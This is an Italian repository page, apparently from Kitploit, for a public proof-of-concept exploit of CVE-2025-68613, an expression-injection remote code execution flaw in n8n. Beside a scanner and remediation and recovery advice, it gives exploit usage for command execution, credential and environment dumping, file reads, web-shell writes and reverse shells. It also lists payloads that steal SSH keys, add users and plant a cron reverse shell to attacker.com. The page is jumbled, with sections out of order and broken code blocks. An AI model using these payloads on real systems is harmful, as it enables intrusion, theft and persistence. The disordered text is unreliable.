CVE-2025-68613-POC — PoC pubblico + Scanner e ricerca per CVE-2025-68613: RCE critica in n8n Workflow Automation tramite Expression Injection (CVSS 10.0). Include strumenti di rilevamento, exploit completo e guida alla remedazione. | Kitploit

**Output**:
- Codice di uscita 0: Non vulnerabile
- Codice di uscita 1: Versione indeterminata (potrebbe essere patchata o nascosta)
- Codice di uscita 2: Versione vulnerabile rilevata

### 2. Template Nuclei: `CVE-2025-68613.yaml`
**Scopo**: Rilevamento automatico delle vulnerabilità e test di base di valutazione delle espressioni

**Caratteristiche**:
- Richiede un token di autenticazione valido
- Verifica la capacità di iniezione delle espressioni
- Tenta di leggere il contesto globale di Node.js (process.platform)
- Crea workflow di test per validare il vettore RCE
- Classificazione di gravità critica CVSS 10.0

**Utilizzo**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

**Esempi di utilizzo**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

#### Passo 2: Iniezione di espressioni
Un attaccante crea un'espressione dannosa che sfugge alla sandbox prevista:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

---

## Versioni interessate

### Intervallo vulnerabile

Tutte le versioni di n8n a partire da **0.211.0** fino alle seguenti versioni sono vulnerabili:
- `0.211.0` → `1.120.3`
- `1.121.0`

### Versioni corrette

La vulnerabilità è stata corretta in:
- ✅ `1.120.4` e successive nel ramo 1.120.x
- ✅ `1.121.1` e successive nel ramo 1.121.x
- ✅ `1.122.0` e tutte le versioni più recenti

### Come controllare la tua versione```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

#### 2. Leggere i file dal server```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

#### 4. Scrivere file dannosi```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

#### 6. Stabilire la persistenza```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

**Esempi di Output**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

**Come funziona**:
1. Invia richieste HTTP ai percorsi n8n comuni
2. Estrae i metadati della versione da HTML/intestazioni
3. Decodifica la configurazione codificata in base64 se presente
4. Confronta la versione con gli intervalli vulnerabili
5. Segnala se l'istanza è vulnerabile

### Metodo 3: Banner Grabbing Manuale```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

### Indicatori di Compromissione (IOC)

**Segni nei Log**:
- Valutazioni di espressioni insolite nei log dei workflow
- Errori di espressione contenenti comandi di sistema
- Accesso a file sensibili (ad es., riferimenti a /etc/passwd)
- Avvio inatteso di processi dal processo n8n

**Segni di Sistema**:
- Nuovi account utente creati sul server
- Chiavi SSH inattese in authorized_keys
- Nuovi cron job o attività pianificate
- Modifiche ai file di sistema
- Connessioni reverse shell dal server n8n

---

## Rimedio e Mitigazione

### SOLUZIONE PRINCIPALE: Aggiornamento Immediato

**Questa è l'unica soluzione completa per la vulnerabilità.**

#### Passo 1: Esegui il Backup dei Tuoi Dati```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

#### Passaggio 3: Verifica dell'aggiornamento```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

#### 2. Monitora le modifiche del flusso di lavoro```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

#### 4. Esegui n8n con Privilegi Minimi```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

#### 6. Containerizzazione & Isolamento```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

---

## Matrice di valutazione del rischio

| Scenario | Livello di rischio | Probabilità | Impatto | Priorità |
|----------|-----------|-----------|--------|----------|
| n8n non aggiornato esposto a internet | CRITICO | ALTA | Compromissione totale | 🔴 URGENTE |
| n8n non aggiornato solo interno | ALTO | MEDIA | Rischio di minaccia interna | 🟠 ALTO |
| n8n aggiornato | BASSO | BASSA | N/A | ✅ Risolto |
| Non aggiornato + restrizioni dei permessi | MEDIO | MEDIA | Limitato a utenti fidati | 🟡 MEDIO |

---

## Recupero passo-passo in caso di compromissione

### Azioni immediate (prima ora)
1. **Isolare il sistema**: scollegare dalla rete
2. **Fermare il servizio**: `sudo systemctl stop n8n`
3. **Conservare i log**: eseguire il backup di tutti i log prima della cancellazione
4. **Allertare il team**: informare il team di sicurezza e la direzione
5. **Valutare la portata**: determinare a quali dati n8n ha avuto accesso

### Indagine (primo giorno)
1. **Esaminare i log di audit**: controllare attività sospette
2. **Analizzare il traffico di rete**: cercare esfiltrazione di dati
3. **Controllare le modifiche ai file**: individuare backdoor inserite
4. **Rivedere gli account utente**: cercare account nuovi o modificati
5. **Audit delle credenziali**: reimpostare tutte le chiavi API e le password utilizzate da n8n

### Bonifica (giorni 2-7)
1. **Ricostruzione completa del sistema**: non limitarsi ad aggiornare, ricostruire da un'immagine pulita
2. **Rotazione delle credenziali**: reimpostare tutte le password, le chiavi API e i token
3. **Applicare le patch a tutto**: aggiornare tutti i sistemi collegati
4. **Ripristinare dal backup**: utilizzare backup puliti precedenti alla compromissione
5. **Audit di sicurezza**: condurre una valutazione completa della sicurezza

### Post-incidente (settimane 2+)
1. **Implementare il monitoraggio**: configurare logging e alerting continui
2. **Modifiche ai processi**: aggiornare le procedure di risposta agli incidenti
3. **Formazione degli utenti**: formare i team sulle best practice di sicurezza
4. **Scansione delle vulnerabilità**: eseguire scansioni regolari per problemi simili
5. **Revisione della conformità**: assicurarsi che tutte le normative siano rispettate (GDPR, HIPAA, ecc.)

---

## Prevenzione per il futuro

### Best practice di sicurezza per n8n

1. **Mantenere n8n aggiornato**
   - Abilitare gli aggiornamenti automatici se disponibili
   - Iscriversi agli advisory di sicurezza di n8n
   - Testare le patch in staging prima della produzione

2. **Controllo degli accessi**
   - Utilizzare il principio del minimo privilegio
   - Richiedere password robuste e 2FA
   - Implementare SSO per gli ambienti enterprise
   - Revisioni e audit regolari degli accessi

3. **Gestione dei workflow**
   - Rivedere tutti i workflow per logiche sospette
   - Implementare un processo di revisione del codice per i workflow
   - Utilizzare convenzioni di denominazione per identificare i workflow critici
   - Eseguire regolarmente il backup dei workflow

4. **Gestione delle credenziali**
   - Non memorizzare mai le credenziali nei workflow
   - Utilizzare variabili d'ambiente per i dati sensibili
   - Ruotare regolarmente le credenziali
   - Eseguire audit dell'accesso alle credenziali

5. **Monitoraggio e logging**
   - Abilitare un logging di audit completo
   - Monitorare le attività insolite
   - Configurare avvisi per operazioni sospette
   - Revisione e analisi regolare dei log

6. **Sicurezza di rete**
   - Eseguire n8n in segmenti di rete isolati
   - Limitare l'accesso di rete ai soli servizi necessari
   - Utilizzare VPN/firewall per l'accesso remoto
   - Monitorare il traffico di rete per anomalie

7. **Risposta agli incidenti**
   - Creare un piano di risposta agli incidenti
   - Definire le procedure di escalation
   - Condurre esercitazioni di sicurezza regolari
   - Mantenere elenchi di contatti aggiornati

---

## Risoluzione dei problemi

### Problema: "Exit code 1: Authentication or exploitation failed"

**Cause comuni**:
1. **Credenziali errate** (più comune)
   - Soluzione: verificare prima che le credenziali funzionino per il login nell'interfaccia web
   - Prova: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **L'utente non ha i permessi per creare workflow**
   - Soluzione: utilizzare un account amministratore o un account utente con diritti di creazione dei workflow
   - Verifica: controllare il pannello di amministrazione → Utenti e permessi

3. **La versione è aggiornata** (versione > 1.121.0)
   - Soluzione: usare prima lo scanner per controllare la versione: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - Atteso: lo scanner dovrebbe segnalare "Vulnerable" (codice di uscita 2)

4. **La struttura dell'API è cambiata** (le versioni più vecchie o più nuove possono differire)
   - Soluzione: controllare l'advisory NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - Più probabile se si testano versioni al di fuori dell'intervallo documentato

5. **Blocco di rete/firewall**
   - Soluzione: verificare la connettività: `curl http://target:5678/`
   - Controllare: regole del firewall, impostazioni del proxy, certificati SSL

### Problema: lo scanner segnala falsi positivi (rilevamento di una versione errata)

**Corretto in v1.02**: lo scanner ora utilizza la configurazione Sentry decodificata in base64 dai meta tag invece della semplice regex. Questo elimina i falsi positivi in cui la versione di Node.js veniva rilevata come versione di n8n.

**Cosa è cambiato**:
- Fonte primaria: estrarre e decodificare `<meta name="n8n:config:sentry" content="[BASE64]">`
- Fallback: usa la regex solo se la configurazione Sentry non è disponibile
- Risultato: rilevamento accurato della versione senza falsi positivi

**Per usare lo scanner v1.02**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

Più Popolari

CVE-2025-68613-POC

🚨 CVE-2025-68613: Vulnerabilità RCE critica in n8n

Indice dei contenuti

Panoramica

Informazioni rapide

Che cos'è n8n?

Perché n8n è infrastruttura critica

Strumenti in questo repository

1. Scanner: cve-2025-68613-scanner.py

3. Exploit completo: exploit_cve-2025-68613.py

Nozioni di base sulla vulnerabilità

Qual è il problema?

Il problema centrale

Perché è così pericolosa

Dettagli tecnici

Come funziona la vulnerabilità

Passo 1: Valutazione delle espressioni del workflow

Passaggio 3: Esecuzione del codice

La causa principale

Percorso di esecuzione del codice```

Versioni testate e compatibilità

Verificato funzionante

Problemi noti

Non testato

Dichiarazione sul supporto delle versioni

Meccaniche di sfruttamento

Cosa può fare un attaccante?

1. Eseguire comandi di sistema arbitrari```javascript

3. Leggi le Variabili d'Ambiente```javascript

5. Accedi ai servizi connessi```javascript

Esempio di Scenario di Attacco

Impatto nel Mondo Reale

Impatto sulla Riservatezza (ALTO)

Impatto sull'Integrità (ALTO)

Impatto sulla Disponibilità (ALTO)

Esempi di Impatto Aziendale

Metodi di Rilevamento

Metodo 1: Scanner per il Rilevamento della Versione

Metodo 2: Utilizzo del template Nuclei

Single target

Multiple targets from file

Metodo 4: Ricognizione di rete```bash

Find n8n instances using Shodan

Use favicon hash detection

Passaggio 2: Aggiornare n8n

Pull the latest patched version

Stop current instance

Start with new version

Debian/Ubuntu

Or manual download

MITIGAZIONE TEMPORANEA: Durante l'aggiornamento

1. Limita le autorizzazioni del workflow```

3. Isolamento della rete```bash

Restrict n8n network access

Or using iptables

5. Abilita l'autenticazione forte```

7. Audit Regolare```bash

Monitor for suspicious activities

Check for new files in n8n directories

Monitor process activity

Check for unauthorized SSH keys

Review system logs

Problema: l'esecuzione REST restituisce un errore 500

Risorse e Riferimenti

Fonti Ufficiali

Informazioni CVE

Risorse di Sicurezza

Riepilogo

Versione del Documento

Esclusione di Responsabilità

1. Scanner: `cve-2025-68613-scanner.py`

3. Exploit completo: `exploit_cve-2025-68613.py`